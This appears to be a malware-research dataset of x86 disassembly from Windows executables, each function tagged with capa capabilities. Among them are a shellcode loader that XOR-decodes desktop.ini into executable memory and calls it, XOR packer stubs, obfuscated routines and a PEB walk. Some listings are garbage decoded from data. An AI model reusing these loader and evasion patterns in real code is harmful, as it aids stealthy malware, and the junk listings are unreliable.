joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40727f
Capabilities:
Identify system language via api

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
call edi
call edi
mov si, ax
and esi, 0x3ff
call edi
push 1
pop edi
push 7
mov dword [0x41f1f4], edi
pop ecx
shr ax, 0xa
cmp si, cx
jne 0x4072b7
and dword [0x41f1f4], 0
jmp 0x4074f7
cmp si, 9
jne 0x4072c8
mov dword [0x41f1f4], edi
jmp 0x4074f7
cmp si, 0x19
jne 0x4072dd
mov dword [0x41f1f4], 2
jmp 0x4074f7
push 0x15
pop edx
cmp si, dx
jne 0x4072f4
mov dword [0x41f1f4], 3
jmp 0x4074f7
cmp si, 0x13
jne 0x407309
mov dword [0x41f1f4], 4
jmp 0x4074f7
cmp si, 0x1f
jne 0x40731e
mov dword [0x41f1f4], 5
jmp 0x4074f7
cmp si, 0x1e
jne 0x407333
mov dword [0x41f1f4], 6
jmp 0x4074f7
cmp si, 0x18
jne 0x407344
mov dword [0x41f1f4], ecx
jmp 0x4074f7
push 0xa
pop ecx
cmp si, cx
jne 0x407369
push 8
pop ecx
cmp ax, cx
mov dword [0x41f1f4], ecx
jne 0x4074f7
mov dword [0x41f1f4], edx
jmp 0x4074f7
cmp si, 4
jne 0x407391
cmp ax, di
mov dword [0x41f1f4], 0xc
jne 0x4074f7
mov dword [0x41f1f4], 9
jmp 0x4074f7
cmp si, 8
je 0x407339
cmp si, 0x1d
jne 0x4073ac
mov dword [0x41f1f4], 0xb
jmp 0x4074f7
cmp si, 0xc
jne 0x4073c1
mov dword [0x41f1f4], 0xd
jmp 0x4074f7
push 0x10
pop ecx
cmp si, cx
jne 0x4073d8
mov dword [0x41f1f4], 0xe
jmp 0x4074f7
cmp si, 5
jne 0x4073ed
mov dword [0x41f1f4], 0xf
jmp 0x4074f7
push 0x12
pop edx
cmp si, dx
je 0x407339
push 0x11
pop ecx
cmp si, cx
je 0x407339
cmp si, 0x22
je 0x40735e
cmp si, 0xd
jne 0x407424
mov dword [0x41f1f4], 0x13
jmp 0x4074f7
cmp si, 0xe
jne 0x407439
mov dword [0x41f1f4], 0x14
jmp 0x4074f7
push 0x16
pop ecx
cmp si, cx
jne 0x407455
cmp ax, di
mov dword [0x41f1f4], ecx
jne 0x4074f7
jmp 0x407339
cmp si, di
jne 0x407469
mov dword [0x41f1f4], 0x17
jmp 0x4074f7
cmp si, 0x14
jne 0x40747b
mov dword [0x41f1f4], 0x18
jmp 0x4074f7
cmp si, 0x2a
jne 0x40748d
mov dword [0x41f1f4], 0x19
jmp 0x4074f7
cmp si, 6
jne 0x40749f
mov dword [0x41f1f4], 0x1a
jmp 0x4074f7
cmp si, 0x3e
jne 0x4074b1
mov dword [0x41f1f4], 0x1b
jmp 0x4074f7
cmp si, 0x21
jne 0x4074c3
mov dword [0x41f1f4], 0x1c
jmp 0x4074f7
cmp si, 0x64
jne 0x4074d5
mov dword [0x41f1f4], 0x1d
jmp 0x4074f7
cmp si, 0xb
jne 0x4074e7
mov dword [0x41f1f4], 0x1e
jmp 0x4074f7
cmp si, 0x1a
jne 0x4074f7
mov dword [0x41f1f4], 0x1f
pop edi
pop esi
ret
Function at 0x409168
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x40a0bc
call fcn.00409900
sub esp, 0x414
push ebx
push esi
push edi
mov esi, 0x412bdc
xor ebx, ebx
push esi
mov dword [ebp - 4], ebx
push dword [ebp + 8]
call sub.MSVCRT.dll__wfopen
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp - 0x10], eax
jne 0x40919e
xor edi, edi
jmp 0x409266
push eax
push 1
pop edi
lea eax, [ebp - 0x14]
push edi
push 2
push eax
mov dword [ebp - 0x14], ebx
call sub.MSVCRT.dll_fread
push dword [ebp - 0x10]
call sub.MSVCRT.dll_fclose
add esp, 0x14
cmp word [ebp - 0x14], 0xfeff
mov dword [0x41f2c0], ebx
jne 0x4091d0
mov dword [0x41f2c0], edi
push esi
push dword [ebp + 8]
call sub.MSVCRT.dll__wfopen
pop ecx
mov esi, 0x400
pop ecx
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 0xc]
push esi
call fcn.0040190a
push dword [ebp - 0x10]
lea eax, [ebp - 0x420]
mov byte [ebp - 0x420], bl
push esi
push edi
push eax
call sub.MSVCRT.dll_fread
add esp, 0x10
cmp eax, ebx
je 0x40925d
cmp word [ebp - 0x14], 0xfeff
mov byte [ebp + eax - 0x420], bl
jne 0x409231
mov ecx, dword [ebp + 0xc]
mov byte [ebp + eax - 0x41f], bl
lea eax, [ebp - 0x420]
push eax
call fcn.004012ac
jmp 0x4091ec
lea eax, [ebp - 0x420]
lea ecx, [ebp - 0x18]
push eax
call fcn.0040112d
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 4], 1
call fcn.0040128e
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], bl
call fcn.004019d7
jmp 0x4091ec
push dword [ebp - 0x10]
call sub.MSVCRT.dll_fclose
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004019d7
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x4092d0
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
push 0
push 0
push dword [esi + 0x810]
mov dword [esi], 0x40b3a0
push 7
push 2
push dword [esi + 0x81c]
call fcn.0040936a
mov esi, dword [esi + 8]
test esi, esi
je 0x409305
push 0x444
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
pop esi
ret

Function at 0x409307
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
push 0
push 0
push dword [esi + 0x810]
push 7
push 2
push dword [esi + 0x81c]
call fcn.0040936a
mov eax, dword [esi + 8]
test eax, eax
je 0x40933a
push 0x444
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
and dword [esi + 8], 0
pop esi
ret
Function at 0x409469
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_FindWindowExW]
push edi
xor edi, edi
mov ebx, 0x412d1c
push edi
push ebx
push edi
push edi
call esi
cmp eax, edi
je 0x4094a6
push edi
push str.TrayNotifyWnd
push edi
push eax
call esi
cmp eax, edi
je 0x4094a6
push dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
jmp 0x40956a
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0x24
push eax
push 5
call dword [sym.imp.SHELL32.dll_SHAppBarMessage]
test eax, eax
je 0x40950c
mov eax, dword [ebp - 0x18]
sub eax, edi
je 0x4094f0
dec eax
je 0x4094d1
dec eax
je 0x4094f0
dec eax
jne 0x40956a
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x10]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 8]
mov dword [eax + 0xc], ecx
mov ecx, dword [ebp - 0xc]
lea edx, [ecx - 0x64]
add ecx, 0xfffffff0
mov dword [eax], edx
mov dword [eax + 8], ecx
jmp 0x40956a
mov ecx, dword [ebp - 8]
mov eax, dword [ebp + 8]
lea edx, [ecx - 0x64]
add ecx, 0xfffffff0
mov dword [eax + 0xc], ecx
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
mov ecx, dword [ebp - 0xc]
mov dword [eax + 4], edx
jmp 0x4094eb
push edi
push ebx
push edi
push edi
call esi
cmp eax, edi
je 0x409549
mov esi, dword [ebp + 8]
push esi
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [esi + 8]
mov ecx, eax
sub ecx, dword [esi]
cmp ecx, 0x96
jle 0x409537
add eax, 0xffffff6a
mov dword [esi], eax
mov eax, dword [esi + 0xc]
mov ecx, eax
sub ecx, dword [esi + 4]
cmp ecx, 0x1e
jle 0x40956a
add eax, 0xffffffe2
jmp 0x409567
mov esi, dword [ebp + 8]
push edi
push esi
push edi
push 0x30
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
mov eax, dword [esi + 8]
sub eax, 0x96
mov dword [esi], eax
mov eax, dword [esi + 0xc]
sub eax, 0x1e
mov dword [esi + 4], eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4095a1
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
cmp dword [ebp + 0xc], 0
je 0x4095e0
call fcn.0040956f
test eax, eax
je 0x4095e0
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowRect]
lea eax, [ebp - 0x10]
push eax
call fcn.00409469
pop ecx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20]
push eax
push 3
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_DrawAnimatedRects]
push 0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_ShowWindow]
leave
ret 8
Function at 0x40968d
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
push dword [ebp + 0x10]
mov esi, ecx
mov dword [esi + 0x810], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x80c], eax
lea eax, [esi + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, esi
call fcn.0040960b
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x4096c6
mov dword [esi + 0x814], eax
cmp dword [ebp + 0x18], 0
je 0x4096f8
mov eax, dword [esi + 8]
test eax, eax
je 0x4096df
push 0x444
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea eax, [esi + 4]
push eax
push 0
push esi
push 0x409700
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 8], eax
push 1
pop eax
pop esi
pop ebp
ret 0x14
Function at 0x5b5ec6
Capabilities:
Authenticate hmac

Disassembly:
clc
xchg edi, eax
mov esp, ebp
add esp, edi
imul eax, dword [eax + 0x73], 0x562c4994
call 0x508f1d7b
or dword [ebx + edx + 0x3d], ebp
jecxz 0x5b5f2a
cmp al, 0x5c
add ebp, dword [ebx + edx + 0x34857fbc]
push edi
test dword [edi + edx*2], esi
invalid
cmp esi, dword [eax - 0x42]
sar byte [edi + 0x14], 0x8f
mov esi, 0x8f147fc0
adc dword [ebx + 0x63], 0x3c780c1e
lahf
loopne 0x5b5f49
jo 0x5b5f2c
mov eax, dword [0xf5129cff]
sar dword [edx + ebp*8 + 0x76d0778c], cl
loopne 0x5b5faa
aas
cmpsb byte [esi], byte es:[edi]
je 0x5b5f82
add byte [ebx - 0x5b0308eb], 0x40
loopne 0x5b5ee5
iretd
rcl esi, cl
ljmp 0x3929
xchg ebp, eax
sbb byte [ebx], ah
jae 0x5b5fc7
sbb dword [eax + 0x13], ebp
xor byte [ebx - 0x7c4d4bf4], ah
insb byte es:[edi], dx
sbb dh, byte [edi + 0x31f340fb]
ret
rcl byte [esi - 0x20]
xor eax, 0x7330a356
nop
invalid
Function at 0xa9a000
Capabilities:
Hash data using md4
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0xf0000040
push 1
push 0
push 0
lea edi, [esi + 4]
mov dword [esi], 0
push esi
mov dword [edi], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0xa9a03f
push edi
push 0
push 0
push 0x8002
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
pop edi
pop esi
pop ebp
ret

Function at 0xab1e43
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00ab1b03

Function at 0xab821c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00ab809b

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x43005ffd
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x12ec2e87
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0xc9b058
Capabilities:
Decompress data using aplib

Disassembly:
call 0xc9b1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xc9b07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xc9b06a
add dl, dl
jne 0xc9b089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xc9b0dc
xor eax, eax
add dl, dl
jne 0xc9b096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xc9b17d
add dl, dl
jne 0xc9b0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xc9b0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xc9b0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xc9b0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xc9b0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xc9b075
mov eax, 1
add dl, dl
jne 0xc9b0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xc9b0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xc9b0e1
sub eax, ebx
mov ebx, 1
jne 0xc9b128
mov ecx, 1
add dl, dl
jne 0xc9b10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xc9b119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xc9b105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xc9b075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xc9b13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xc9b14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xc9b136
cmp eax, 0x7d00
jae 0xc9b16d
cmp eax, 0x500
jb 0xc9b168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xc9b075
cmp eax, 0x7f
ja 0xc9b170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xc9b075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xc9b19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xc9b075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x10001510
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [0x1000338c]
mov dword [ebp - 0x210], eax
push edi
mov edi, dword [ebp + 8]
test esi, esi
jne 0x1000159d
mov esi, 0x104
lea eax, [ebp - 0x20c]
push esi
push eax
call dword [sym.imp.api_ms_win_core_sysinfo_l1_1_0.dll_GetSystemDirectoryW]
push 0x1000111c
lea eax, [ebp - 0x20c]
push esi
push eax
call dword [sym.imp.api_ms_win_crt_private_l1_1_0.dll__o_wcscat_s]
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_1.dll_LoadLibraryW]
test eax, eax
je 0x10001593
push 0x10001148
push eax
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetProcAddress]
mov esi, eax
mov dword [0x1000338c], esi
test esi, esi
jne 0x10001597
xor eax, eax
jmp 0x100015aa
mov eax, dword [ebp - 0x210]
push eax
push ebx
push edi
mov ecx, esi
call dword [0x1000409c]
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100019d0
leave
ret 0xc

Function at 0x10001b10
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
cmp edx, esi
je 0x10001b4d
mov ecx, dword [ebp + 0xc]
cmp ecx, dword [edx + 0xc]
jb 0x10001b46
mov eax, dword [edx + 8]
add eax, dword [edx + 0xc]
cmp ecx, eax
jb 0x10001b52
add edx, 0x28
cmp edx, esi
jne 0x10001b37
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x10001b4f
Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..00cfg
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x230c784c
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x596c12f5
nop
nop
nop
nop
test eax, eax
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x4004031b
Capabilities:
Encode data using xor

Disassembly:
call 0x40040294
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x400402c4
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x400402e0
xor edx, 0
jmp 0x400402eb
xor edx, edx
jmp 0x40040302
jmp 0x4004030e
xor eax, eax
push 0x8427d7c0
call 0x4004031b
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x40040357
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x40040330
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x4004036e
add eax, 0
jno 0x40040373
add esi, 0
ret 0x10

Function at 0x400410dc
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x400410fe
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x400412a0
cmp edi, dword [ebp + 0x10]
jb 0x400412a0
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.40040bc8
inc edi
jmp 0x40041187
jmp 0x40041194
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.40040bc8
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.40040bc8
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x400411e8
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x400411cc
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.40041216
add dword [eax], 0x39
jle 0x400411f2
sub al, 0xf5
mov ch, al
call fcn.4004122b
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10
Function at 0x40042f03
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x40042f19
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x40042f2a
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.40042f6b
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x400452d7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x40045220
add ebx, 0
push ecx
call 0x40045235
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x1008b258
sub ebx, dword [0x100aaa97]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x100aaa87
call fcn.40040cff
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.4004020d
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x40045393
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x40045393
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x4004534a
mov eax, 1
lock xchg dword [0x100aaa93], eax
push 0x3dd1fc71
call 0x400452d7
push esi
add esp, 8
cmp eax, 0
jne 0x400452c0
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x400452e6
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x400452fb
cmp ecx, edx
cmp eax, 0
je 0x40045320
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x4004530a
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.40045339
dec eax
loope 0x4004533c
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x100aaa93], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x40045370
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x40045385
jmp 0x40045390
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x4004527e
Function at 0x4004c3f8
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x4004c6ce
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x1009770b
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x1008e6d1
push 0xffffffffffffffff
call fcn.400435f8
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x4004c462
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.4004c47a
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x4004c6c2
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x4004c696